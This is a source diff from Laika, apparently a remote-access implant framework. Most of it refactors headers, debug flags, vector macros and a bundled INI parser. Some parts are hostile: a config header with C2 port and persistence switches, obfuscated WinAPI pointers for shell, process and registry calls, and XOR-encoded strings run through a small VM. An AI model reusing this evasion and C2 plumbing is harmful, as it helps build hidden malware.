int ini_parse(const char* filename, ini_handler handler, void* user);
*/
int ini_parse(const char *filename, ini_handler handler, void *user);
/* Same as ini_parse(), but takes a FILE* instead of filename. This doesn't
/* Same as ini_parse(), but takes a FILE* instead of filename. This doesn't
close the file when it's finished -- the caller must do that. */
int ini_parse_file(FILE* file, ini_handler handler, void* user);
int ini_parse_file(FILE *file, ini_handler handler, void *user);
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
filename. Used for implementing custom or string-based I/O (see also
ini_parse_string). */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user);
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or
already in memory. */
int ini_parse_string(const char* string, ini_handler handler, void* user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or
already in memory. */
int ini_parse_string(const char *string, ini_handler handler, void *user);
/* Nonzero to allow multi-line value parsing, in the style of Python's
configparser. If allowed, ini_parse() will call the handler with the same
name for each subsequent line parsed. */
#ifndef INI_ALLOW_MULTILINE
#define INI_ALLOW_MULTILINE 1
# define INI_ALLOW_MULTILINE 1
#endif
/* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of
the file. See https://github.com/benhoyt/inih/issues/21 */
#ifndef INI_ALLOW_BOM
#define INI_ALLOW_BOM 1
# define INI_ALLOW_BOM 1
#endif
/* Chars that begin a start-of-line comment. Per Python configparser, allow
both ; and # comments at the start of a line by default. */
#ifndef INI_START_COMMENT_PREFIXES
#define INI_START_COMMENT_PREFIXES ";#"
# define INI_START_COMMENT_PREFIXES ";#"
#endif
/* Nonzero to allow inline comments (with valid inline comment characters
specified by INI_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match
Python 3.2+ configparser behaviour. */
#ifndef INI_ALLOW_INLINE_COMMENTS
#define INI_ALLOW_INLINE_COMMENTS 1
# define INI_ALLOW_INLINE_COMMENTS 1
#endif
#ifndef INI_INLINE_COMMENT_PREFIXES
#define INI_INLINE_COMMENT_PREFIXES ";"
# define INI_INLINE_COMMENT_PREFIXES ";"
#endif
/* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */
#ifndef INI_USE_STACK
#define INI_USE_STACK 1
# define INI_USE_STACK 1
#endif
/* Maximum line length for any line in INI file (stack or heap). Note that
this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */
#ifndef INI_MAX_LINE
#define INI_MAX_LINE 200
# define INI_MAX_LINE 200
#endif
/* Nonzero to allow heap line buffer to grow via realloc(), zero for a
fixed-size buffer of INI_MAX_LINE bytes. Only applies if INI_USE_STACK is
zero. */
#ifndef INI_ALLOW_REALLOC
#define INI_ALLOW_REALLOC 0
# define INI_ALLOW_REALLOC 0
#endif
/* Initial size in bytes for heap line buffer. Only applies if INI_USE_STACK
is zero. */
#ifndef INI_INITIAL_ALLOC
#define INI_INITIAL_ALLOC 200
# define INI_INITIAL_ALLOC 200
#endif
/* Stop parsing on first error (default is to keep parsing). */
#ifndef INI_STOP_ON_FIRST_ERROR
#define INI_STOP_ON_FIRST_ERROR 0
# define INI_STOP_ON_FIRST_ERROR 0
#endif
/* Nonzero to call the handler at the start of each new section (with
name and value NULL). Default is to only call the handler on
each name=value pair. */
#ifndef INI_CALL_HANDLER_ON_NEW_SECTION
#define INI_CALL_HANDLER_ON_NEW_SECTION 0
# define INI_CALL_HANDLER_ON_NEW_SECTION 0
#endif
/* Nonzero to allow a name without a value (no '=' or ':' on the line) and
call the handler with value NULL in this case. Default is to treat
no-value lines as an error. */
#ifndef INI_ALLOW_NO_VALUE
#define INI_ALLOW_NO_VALUE 0
# define INI_ALLOW_NO_VALUE 0
#endif
/* Nonzero to use custom ini_malloc, ini_free, and ini_realloc memory
@@ -146,10 +144,9 @@ int ini_parse_string(const char* string, ini_handler handler, void* user);
have the same signatures as malloc/free/realloc and behave in a similar
way. ini_realloc is only needed if INI_ALLOW_REALLOC is set. */
#ifndef INI_CUSTOM_ALLOCATOR
#define INI_CUSTOM_ALLOCATOR 0
# define INI_CUSTOM_ALLOCATOR 0
#endif
#ifdef __cplusplus
}
#endif

View File

@@ -1,10 +1,10 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/lvm.h"
#include "laika.h"
#include "lmem.h"
#include "lsodium.h"
#include "lvm.h"
#include <inttypes.h>
@@ -63,6 +63,8 @@ struct sLaikaB_box
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* clang-format off */
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
@@ -93,15 +95,14 @@ struct sLaikaB_box
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
{
struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList =
{
/* boxes have 3 reserved constants */
.constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = { 0 },
.stack = { 0 },
.code = {0}, /* zero initalized */
.stack = {0}, /* zero initalized */
.pc = 0
};
@@ -117,6 +118,8 @@ LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}
/* clang-format on */
/* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h"

View File

@@ -24,10 +24,10 @@
/* LAIKA_ERROR(printf args):
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
arguments are ignored.
*/
#ifndef DEBUG
#ifndef LAIKA_DEBUG_BUILD
# define LAIKA_ERROR(...) \
do { \
if (LAIKA_ISPROTECTED) \

63
lib/include/core/lmem.h Normal file
View File

@@ -0,0 +1,63 @@
#ifndef LAIKA_MEM_H
#define LAIKA_MEM_H
#include "laika.h"
#define GROW_FACTOR 2
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
# define ENDVLA(var) laikaM_free(var);
#else
# define VLA(type, var, sz) type var[sz];
# define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
/* ========================================[[ Vectors ]]======================================== */
#define laikaM_countVector(name) name##_COUNT
#define laikaM_capVector(name) name##_CAP
#define laikaM_newVector(type, name) \
type *name; \
int name##_COUNT; \
int name##_CAP
#define laikaM_initVector(name, startCap) \
name = NULL; \
name##_COUNT = 0; \
name##_CAP = startCap
#define laikaM_growVector(type, name, needed) \
if (name##_COUNT + needed >= name##_CAP || name == NULL) { \
name##_CAP = (name##_CAP + needed) * GROW_FACTOR; \
name = (type *)laikaM_realloc(name, sizeof(type) * name##_CAP); \
}
/* moves vector elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvVector(name, indx, numElem) \
do { \
int _i, _sz = ((name##_COUNT - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
name[indx + _i] = name[indx + numElem + _i]; \
name##_COUNT -= numElem; \
} while (0);
/* moves vector elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertVector(name, indx, numElem) \
do { \
int _i; \
for (_i = name##_COUNT; _i > indx; _i--) \
name[_i] = name[_i - 1]; \
name##_COUNT += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz);
bool laikaM_isBigEndian(void);
void laikaM_reverse(uint8_t *buf, size_t sz);
#endif

View File

@@ -1,6 +1,7 @@
#ifndef LAIKA_RSA_H
#define LAIKA_RSA_H
#include "lconfig.h"
#include "sodium.h"
#include <stdbool.h>

View File

@@ -9,8 +9,8 @@
fit this specific use case.
*/
#include "core/lerror.h"
#include "laika.h"
#include "lerror.h"
#include <inttypes.h>
@@ -76,7 +76,7 @@ enum
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
/* misc. */
#ifdef DEBUG
#ifdef LAIKA_DEBUG_BUILD
OP_DEBUG
#endif
};
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
break;
}
#ifdef DEBUG
#ifdef LAIKA_DEBUG_BUILD
case OP_DEBUG: {
int i;

View File

@@ -11,7 +11,7 @@
#include <string.h>
#include <inttypes.h>
#ifdef DEBUG
#ifdef LAIKA_DEBUG_BUILD
# define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \
fflush(stdout);

View File

@@ -13,6 +13,7 @@
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */
#cmakedefine LAIKA_DEBUG_BUILD
#cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE

View File

@@ -1,46 +0,0 @@
#ifndef LAIKA_MEM_H
#define LAIKA_MEM_H
#include "laika.h"
#define GROW_FACTOR 2
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
# define ENDVLA(var) laikaM_free(var);
#else
# define VLA(type, var, sz) type var[sz];
# define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz);
#endif

View File

@@ -7,6 +7,7 @@
# include <process.h>
# include <windows.h>
#ifdef LAIKA_OBFUSCATE
/* WINAPI types */
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
@@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
extern _RegCloseKey oRegCloseKey;
extern _RegSetValueExA oRegSetValueExA;
extern _RegQueryValueExA oRegQueryValueExA;
#else
/* disabling obfuscation by macro magic :O */
#define oShellExecuteA ShellExecuteA
#define oCreatePseudoConsole CreatePseudoConsole
#define oClosePseudoConsole ClosePseudoConsole
#define oCreateProcessA CreateProcessA
#define oRegOpenKeyExA RegOpenKeyExA
#define oRegCloseKey RegCloseKey
#define oRegSetValueExA RegSetValueExA
#define oRegQueryValueExA RegQueryValueExA
#endif
#endif
void laikaO_init();

View File

@@ -1,6 +1,7 @@
#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H
#include "lconfig.h"
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
@@ -121,7 +122,7 @@ enum
typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
#ifdef LAIKA_DEBUG_BUILD
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif

View File

@@ -1,11 +1,11 @@
#ifndef LAIKA_PEER_H
#define LAIKA_PEER_H
#include "core/lsodium.h"
#include "laika.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
typedef enum
{

View File

@@ -1,9 +1,10 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include "hashmap.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "laika.h"
#include "lsocket.h"
#include "net/lsocket.h"
#include <stdbool.h>
@@ -20,22 +21,17 @@ struct sLaika_pollEvent
struct sLaika_pollList
{
struct hashmap *sockets;
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
struct sLaika_pollEvent *revents;
/* holds sockets which have data needed to be sent */
laikaM_newVector(struct sLaika_socket *, outQueue);
laikaM_newVector(struct sLaika_pollEvent, revents);
#ifdef LAIKA_USE_EPOLL
/* epoll */
struct epoll_event ev, ep_events[MAX_EPOLL_EVENTS];
SOCKET epollfd;
#else
/* raw poll descriptor */
PollFD *fds;
int fdCapacity;
int fdCount;
laikaM_newVector(PollFD, fds);
#endif
int reventCap;
int reventCount;
int outCap;
int outCount;
};
void laikaP_initPList(struct sLaika_pollList *pList);

View File

@@ -54,7 +54,8 @@ typedef void buffer_t;
# define SOCKETERROR(x) (x == -1)
#endif
#include "laika.h"
#include "lsodium.h"
#include "core/lsodium.h"
#include "core/lmem.h"
#include <fcntl.h>
#include <stdbool.h>
@@ -79,20 +80,14 @@ struct sLaika_socket
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */
int outCount;
int inCount;
int outCap;
int inCap;
laikaM_newVector(uint8_t, outBuf); /* raw data to be sent() */
laikaM_newVector(uint8_t, inBuf); /* raw data we recv()'d */
bool flipEndian;
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
@@ -117,12 +112,12 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i); /* writes UINT16, respecting endianness */
uint16_t laikaS_readu16(struct sLaika_socket *sock); /* reads UINT16, respecting endianness */
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i); /* writes UINT32, respecting endianness */
uint32_t laikaS_readu32(struct sLaika_socket *sock); /* reads UINT32, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
#endif

File diff suppressed because it is too large Load Diff

View File

@@ -12,59 +12,60 @@ https://github.com/benhoyt/inih
*/
#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS
# define _CRT_SECURE_NO_WARNINGS
#endif
#include <stdio.h>
#include "core/ini.h"
#include <ctype.h>
#include <stdio.h>
#include <string.h>
#include "ini.h"
#if !INI_USE_STACK
#if INI_CUSTOM_ALLOCATOR
#include <stddef.h>
void* ini_malloc(size_t size);
void ini_free(void* ptr);
void* ini_realloc(void* ptr, size_t size);
#else
#include <stdlib.h>
#define ini_malloc malloc
#define ini_free free
#define ini_realloc realloc
#endif
# if INI_CUSTOM_ALLOCATOR
# include <stddef.h>
void *ini_malloc(size_t size);
void ini_free(void *ptr);
void *ini_realloc(void *ptr, size_t size);
# else
# include <stdlib.h>
# define ini_malloc malloc
# define ini_free free
# define ini_realloc realloc
# endif
#endif
#define MAX_SECTION 50
#define MAX_NAME 50
/* Used by ini_parse_string() to keep track of string parsing state. */
typedef struct {
const char* ptr;
typedef struct
{
const char *ptr;
size_t num_left;
} ini_parse_string_ctx;
/* Strip whitespace chars off end of given string, in place. Return s. */
static char* rstrip(char* s)
static char *rstrip(char *s)
{
char* p = s + strlen(s);
char *p = s + strlen(s);
while (p > s && isspace((unsigned char)(*--p)))
*p = '\0';
return s;
}
/* Return pointer to first non-whitespace char in given string. */
static char* lskip(const char* s)
static char *lskip(const char *s)
{
while (*s && isspace((unsigned char)(*s)))
s++;
return (char*)s;
return (char *)s;
}
/* Return pointer to first char (of chars) or inline comment in given string,
or pointer to NUL at end of string if neither found. Inline comment must
be prefixed by a whitespace character to register as a comment. */
static char* find_chars_or_comment(const char* s, const char* chars)
static char *find_chars_or_comment(const char *s, const char *chars)
{
#if INI_ALLOW_INLINE_COMMENTS
int was_space = 0;
@@ -78,12 +79,12 @@ static char* find_chars_or_comment(const char* s, const char* chars)
s++;
}
#endif
return (char*)s;
return (char *)s;
}
/* Similar to strncpy, but ensures dest (size bytes) is
NUL-terminated, and doesn't pad with NULs. */
static char* strncpy0(char* dest, const char* src, size_t size)
static char *strncpy0(char *dest, const char *src, size_t size)
{
/* Could use strncpy internally, but it causes gcc warnings (see issue #91) */
size_t i;
@@ -94,42 +95,41 @@ static char* strncpy0(char* dest, const char* src, size_t size)
}
/* See documentation in header file. */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user)
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user)
{
/* Uses a fair bit of stack (use heap instead if you need to) */
#if INI_USE_STACK
char line[INI_MAX_LINE];
int max_line = INI_MAX_LINE;
#else
char* line;
char *line;
size_t max_line = INI_INITIAL_ALLOC;
#endif
#if INI_ALLOW_REALLOC && !INI_USE_STACK
char* new_line;
char *new_line;
size_t offset;
#endif
char section[MAX_SECTION] = "";
char prev_name[MAX_NAME] = "";
char* start;
char* end;
char* name;
char* value;
char *start;
char *end;
char *name;
char *value;
int lineno = 0;
int error = 0;
#if !INI_USE_STACK
line = (char*)ini_malloc(INI_INITIAL_ALLOC);
line = (char *)ini_malloc(INI_INITIAL_ALLOC);
if (!line) {
return -2;
}
#endif
#if INI_HANDLER_LINENO
#define HANDLER(u, s, n, v) handler(u, s, n, v, lineno)
# define HANDLER(u, s, n, v) handler(u, s, n, v, lineno)
#else
#define HANDLER(u, s, n, v) handler(u, s, n, v)
# define HANDLER(u, s, n, v) handler(u, s, n, v)
#endif
/* Scan through stream line by line */
@@ -158,8 +158,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
start = line;
#if INI_ALLOW_BOM
if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
(unsigned char)start[1] == 0xBB &&
if (lineno == 1 && (unsigned char)start[0] == 0xEF && (unsigned char)start[1] == 0xBB &&
(unsigned char)start[2] == 0xBF) {
start += 3;
}
@@ -188,13 +187,11 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
if (!HANDLER(user, section, NULL, NULL) && !error)
error = lineno;
#endif
}
else if (!error) {
} else if (!error) {
/* No ']' found on section line */
error = lineno;
}
}
else if (*start) {
} else if (*start) {
/* Not a comment, must be a name[=:]value pair */
end = find_chars_or_comment(start, "=:");
if (*end == '=' || *end == ':') {
@@ -213,8 +210,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
strncpy0(prev_name, name, sizeof(prev_name));
if (!HANDLER(user, section, name, value) && !error)
error = lineno;
}
else if (!error) {
} else if (!error) {
/* No '=' or ':' found on name[=:]value line */
#if INI_ALLOW_NO_VALUE
*end = '\0';
@@ -241,15 +237,15 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
}
/* See documentation in header file. */
int ini_parse_file(FILE* file, ini_handler handler, void* user)
int ini_parse_file(FILE *file, ini_handler handler, void *user)
{
return ini_parse_stream((ini_reader)fgets, file, handler, user);
}
/* See documentation in header file. */
int ini_parse(const char* filename, ini_handler handler, void* user)
int ini_parse(const char *filename, ini_handler handler, void *user)
{
FILE* file;
FILE *file;
int error;
file = fopen(filename, "r");
@@ -262,11 +258,12 @@ int ini_parse(const char* filename, ini_handler handler, void* user)
/* An ini_reader function to read the next line from a string buffer. This
is the fgets() equivalent used by ini_parse_string(). */
static char* ini_reader_string(char* str, int num, void* stream) {
ini_parse_string_ctx* ctx = (ini_parse_string_ctx*)stream;
const char* ctx_ptr = ctx->ptr;
static char *ini_reader_string(char *str, int num, void *stream)
{
ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream;
const char *ctx_ptr = ctx->ptr;
size_t ctx_num_left = ctx->num_left;
char* strp = str;
char *strp = str;
char c;
if (ctx_num_left == 0 || num < 2)
@@ -288,11 +285,11 @@ static char* ini_reader_string(char* str, int num, void* stream) {
}
/* See documentation in header file. */
int ini_parse_string(const char* string, ini_handler handler, void* user) {
int ini_parse_string(const char *string, ini_handler handler, void *user)
{
ini_parse_string_ctx ctx;
ctx.ptr = string;
ctx.num_left = strlen(string);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler,
user);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, user);
}

4
lib/src/core/lerror.c Normal file
View File

@@ -0,0 +1,4 @@
#include "core/lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

43
lib/src/core/lmem.c Normal file
View File

@@ -0,0 +1,43 @@
#include "core/lmem.h"
#include "core/lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{
void *newBuf;
/* are we free'ing the buffer? */
if (sz == 0) {
free(buf);
return NULL;
}
/* if NULL is passed, realloc() acts like malloc() */
if ((newBuf = realloc(buf, sz)) == NULL)
LAIKA_ERROR("failed to allocate memory!\n");
return newBuf;
}
bool laikaM_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaM_reverse(uint8_t *buf, size_t sz)
{
int k;
/* swap bytes, reversing the buffer */
for (k = 0; k < (sz / 2); k++) {
uint8_t tmp = buf[k];
buf[k] = buf[sz - k - 1];
buf[sz - k - 1] = tmp;
}
}

View File

@@ -1,4 +1,4 @@
#include "lsodium.h"
#include "core/lsodium.h"
#include <string.h>

View File

@@ -1,6 +1,6 @@
#include "ltask.h"
#include "core/ltask.h"
#include "lmem.h"
#include "core/lmem.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */

1
lib/src/core/lvm.c Normal file
View File

@@ -0,0 +1 @@
#include "core/lvm.h"

View File

@@ -1,4 +0,0 @@
#include "lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

View File

@@ -1,20 +0,0 @@
#include "lmem.h"
#include "lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{
void *newBuf;
/* are we free'ing the buffer? */
if (sz == 0) {
free(buf);
return NULL;
}
/* if NULL is passed, realloc() acts like malloc() */
if ((newBuf = realloc(buf, sz)) == NULL)
LAIKA_ERROR("failed to allocate memory!\n");
return newBuf;
}

View File

@@ -1 +0,0 @@
#include "lvm.h"

View File

@@ -1,6 +1,6 @@
#include "lpacket.h"
#include "net/lpacket.h"
#ifdef DEBUG
#ifdef LAIKA_DEBUG_BUILD
const char *laikaD_getPacketName(LAIKAPKT_ID id)
{
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",

View File

@@ -1,7 +1,7 @@
#include "lpeer.h"
#include "net/lpeer.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
@@ -71,7 +71,7 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
laikaS_writeByte(sock, id);
peer->outStart = sock->outCount;
peer->outStart = laikaM_countVector(sock->outBuf);
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES];
@@ -88,26 +88,26 @@ int laikaS_endOutPacket(struct sLaika_peer *peer)
if (peer->useSecure) {
/* make sure we have enough space */
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
sock->outCap);
laikaM_growVector(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES);
/* packet body starts after the id & nonce */
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body,
(sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
(laikaM_countVector(sock->outBuf) - peer->outStart) -
crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n");
}
sock->outCount += crypto_secretbox_MACBYTES;
laikaM_countVector(sock->outBuf) += crypto_secretbox_MACBYTES;
}
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, &peer->sock);
/* return packet size and prepare for next outPacket */
sz = sock->outCount - peer->outStart;
sz = laikaM_countVector(sock->outBuf) - peer->outStart;
peer->outStart = -1;
return sz;
}
@@ -148,30 +148,31 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
if (peer->useSecure && !variadic && peer->pktSize != 0)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
peer->inStart = sock->inCount;
peer->inStart = laikaM_countVector(sock->inBuf);
}
int laikaS_endInPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz = sock->inCount - peer->inStart;
size_t sz = laikaM_countVector(sock->inBuf) - peer->inStart;
if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */
if (crypto_secretbox_open_easy(
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
if (crypto_secretbox_open_easy(body, body,
(laikaM_countVector(sock->inBuf) - peer->inStart) -
crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n");
}
/* decrypted message is smaller now */
sock->inCount -= crypto_secretbox_MACBYTES;
laikaM_countVector(sock->inBuf) -= crypto_secretbox_MACBYTES;
/* remove nonce */
laikaM_rmvarray(sock->inBuf, sock->inCount, peer->inStart, crypto_secretbox_NONCEBYTES);
laikaM_rmvVector(sock->inBuf, peer->inStart, crypto_secretbox_NONCEBYTES);
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
}
@@ -231,7 +232,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
peer->pktSize = laikaS_readu16(&peer->sock);
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");
@@ -254,18 +255,19 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
default:
_HandlePacketBody:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
if (laikaS_rawRecv(&peer->sock, peer->pktSize - laikaM_countVector(peer->sock.inBuf),
&recvd) != RAWSOCK_OK)
return false;
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
if (peer->pktSize == laikaM_countVector(peer->sock.inBuf)) {
peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */
peer->sock.inCount = 0;
laikaM_countVector(peer->sock.inBuf) = 0;
peer->pktID = LAIKAPKT_MAXNONE;
}
@@ -280,10 +282,10 @@ bool laikaS_handlePeerOut(struct sLaika_socket *sock)
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int sent;
if (peer->sock.outCount == 0) /* sanity check */
if (laikaM_countVector(peer->sock.outBuf) == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
switch (laikaS_rawSend(&peer->sock, laikaM_countVector(peer->sock.outBuf), &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &peer->sock);

View File

@@ -1,7 +1,7 @@
#include "lpolllist.h"
#include "net/lpolllist.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
/* ===================================[[ Helper Functions ]]==================================== */
@@ -34,12 +34,10 @@ void laikaP_initPList(struct sLaika_pollList *pList)
/* setup hashmap */
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
elem_compare, NULL, NULL);
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
pList->reventCount = 0;
pList->outQueue = NULL;
